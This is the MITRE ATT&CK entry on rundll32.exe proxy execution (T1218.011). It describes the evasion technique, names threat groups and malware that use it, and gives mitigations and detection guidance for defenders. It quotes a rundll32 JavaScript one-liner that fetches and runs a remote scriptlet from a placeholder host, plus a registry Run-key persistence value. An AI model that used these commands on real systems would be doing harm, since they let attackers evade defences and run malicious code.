System Binary Proxy Execution: Rundll32

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {{DLLname, DLLfunction}}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. [1]

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. [2]

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.[3][4] DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.[5]

ID: T1218.011
Sub-technique of:  T1218
Tactic: Defense Evasion
Platforms: Windows
Defense Bypassed: Anti-virus, Application control, Digital Certificate Validation
Contributors: Casey Smith; Gareth Phillips, Seek Ltd.; James_inthe_box, Me; Ricardo Dias
Version: 2.0
Created: 23 January 2020
Last Modified: 19 April 2022

Procedure Examples

ID Name Description

ADVSTORESHELL has used rundll32.exe in a Registry value to establish persistence.[6]

G0073 APT19

APT19 configured its payload to inject into the rundll32.exe.[7]

G0007 APT28

APT28 executed CHOPSTICK by using rundll32 commands such as rundll32.exe "C:\Windows\twain_64.dll". APT28 also executed a .dll for a first stage dropper using rundll32.exe. An APT28 loader Trojan saved a batch script that uses rundll32 to execute a DLL payload.[8][6][9][10][11][12]

G0016 APT29

APT29 has used Rundll32.exe to execute payloads.[13][14][15]

G0022 APT3

APT3 has a tool that can run DLLs.[16]

G0050 APT32

APT32 malware has used rundll32.exe to execute an initial infection process.[17]

G0082 APT38

APT38 has used rundll32.exe to execute binaries, scripts, and Control Panel Item files and to execute code via proxy to avoid triggering security tools.[18]

G0096 APT41

APT41 has used rundll32.exe to execute a loader.[19]

S0438 Attor

Attor's installer plugin can schedule rundll32.exe to load the dispatcher.[20]

S0093 Backdoor.Oldrea

Backdoor.Oldrea can use rundll32 for execution on compromised hosts.[21]

S0606 Bad Rabbit

Bad Rabbit has used rundll32 to launch a malicious DLL as C:Windowsinfpub.dat.[22]

S0268 Bisonal

Bisonal has used rundll32.exe to execute as part of the Registry Run key it adds: HKEY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\Run\"vert" = "rundll32.exe c:\windows\temp\pvcu.dll , Qszdez".[23]


BLINDINGCAN has used Rundll32 to load a malicious DLL.[24]

G0108 Blue Mockingbird

Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using rundll32.exe.[25]

S0635 BoomBox

BoomBox can use RunDLL32 for execution.[26]

S0204 Briba

Briba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs.[27]

G0008 Carbanak

Carbanak installs VNC server software that executes through rundll32.[28]

S0154 Cobalt Strike

Cobalt Strike can use rundll32.exe to load DLL from the command line.[29]

S0244 Comnie

Comnie uses Rundll32 to load a malicious DLL.[30]

G0052 CopyKittens

CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.[31]


CORESHELL is installed via execution of rundll32 with an export named "init" or "InitW."[32]

S0046 CozyCar

The CozyCar dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main CozyCar component.[33]


DDKONG uses Rundll32 to ensure only a single instance of itself is running at once.[34]

S0554 Egregor

Egregor has used rundll32 during execution.[35]

S0081 Elise

After copying itself to a DLL file, a variant of Elise calls the DLL file using rundll32.exe.[36]

S0082 Emissary

Variants of Emissary have used rundll32.exe in Registry values added to establish persistence.[37]

S0634 EnvyScout

EnvyScout has the ability to proxy execution of malicious files with Rundll32.[26]


EVILNUM can execute commands and scripts through rundll32.[38]

S0512 FatDuke

FatDuke can execute via rundll32.[39]


FELIXROOT uses Rundll32 for executing the dropper program.[40][41]

S0143 Flame

Rundll32.exe is used as a way of executing Flame at the command-line.[42]

G0047 Gamaredon Group

Gamaredon Group malware has used rundll32 to launch additional malicious components.[43]

S0032 gh0st RAT

A gh0st RAT variant has used rundll32 for execution.[44]

S0342 GreyEnergy

GreyEnergy uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\SYSTEM).[41]


HAFNIUM has used rundll32 to load malicious DLLs.[45]

S0698 HermeticWizard

HermeticWizard has the ability to create a new process using rundll32.[46]

S0260 InvisiMole

InvisiMole has used rundll32.exe for execution.[47]


JHUHUGIT is executed using rundll32.exe.[48][49]

G0094 Kimsuky

Kimsuky has used rundll32.exe to execute malicious scripts and malware on a victim's network.[50]

S0250 Koadic

Koadic can use Rundll32 to execute additional payloads.[51]


KONNI has used Rundll32 to execute its loader for privilege escalation purposes.[52][53]

S0236 Kwampirs

Kwampirs uses rundll32.exe in a Registry value added to establish persistence.[54]

G0032 Lazarus Group

Lazarus Group has used rundll32 to execute malicious payloads on a compromised host.[55][56][57]

G0140 LazyScripter

LazyScripter has used rundll32.exe to execute Koadic stagers.[58]

S0167 Matryoshka

Matryoshka uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.[59]

S0576 MegaCortex

MegaCortex has used rundll32.exe to load a DLL for file encryption.[60]

S0256 Mosquito

Mosquito's launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability.[61]

G0069 MuddyWater

MuddyWater has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.[62]

S0637 NativeZone

NativeZone has used rundll32 to execute a malicious DLL.[63]


NOKKI has used rundll32 for execution.[64]

S0368 NotPetya

NotPetya uses rundll32.exe to install itself on remote systems when accessed via PsExec or wmic.[65]

S0518 PolyglotDuke

PolyglotDuke can be executed using rundll32.exe.[39]

S0139 PowerDuke

PowerDuke uses rundll32.exe to load.[66]

S0113 Prikormka

Prikormka uses rundll32.exe to load its DLL.[67]

S0147 Pteranodon

Pteranodon executes functions using rundll32.exe.[68]


PUNCHBUGGY can load a DLL using Rundll32.[69]

S0650 QakBot

QakBot can use Rundll32.exe to enable C2 communication.[70][71][72][73]

S0481 Ragnar Locker

Ragnar Locker has used rundll32.exe to execute components of VirtualBox.[74]

S0148 RTM

RTM runs its core DLL file using rundll32.exe.[75][76]

S0074 Sakula

Sakula calls cmd.exe to run various DLL files via rundll32.[77]

G0034 Sandworm Team

Sandworm Team used a backdoor which could execute a supplied DLL using rundll32.exe.[78]

S0382 ServHelper

ServHelper contains a module for downloading and executing DLLs that leverages rundll32.exe.[79]

S0589 Sibot

Sibot has executed downloaded DLLs with rundll32.exe.[80]

S0142 StreamEx

StreamEx uses rundll32 to call an exported function.[81]


SUNBURST used Rundll32 to execute payloads.[14]

G0092 TA505

TA505 has leveraged rundll32.exe to execute malicious DLLs.[82][79]

G0127 TA551

TA551 has used rundll32.exe to load malicious DLLs.[83]

S0452 USBferry

USBferry can execute rundll32.exe in memory to avoid detection.[84]

S0141 Winnti for Windows

The Winnti for Windows installer loads a DLL using rundll32.[85][86]

S0412 ZxShell

ZxShell has used rundll32.exe to execute other DLLs and named pipes.[87]


ID Mitigation Description
M1050 Exploit Protection

Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control.


ID Data Source Data Component
DS0017 Command Command Execution
DS0022 File File Metadata
DS0011 Module Module Load
DS0009 Process Process Creation

Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.

Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.


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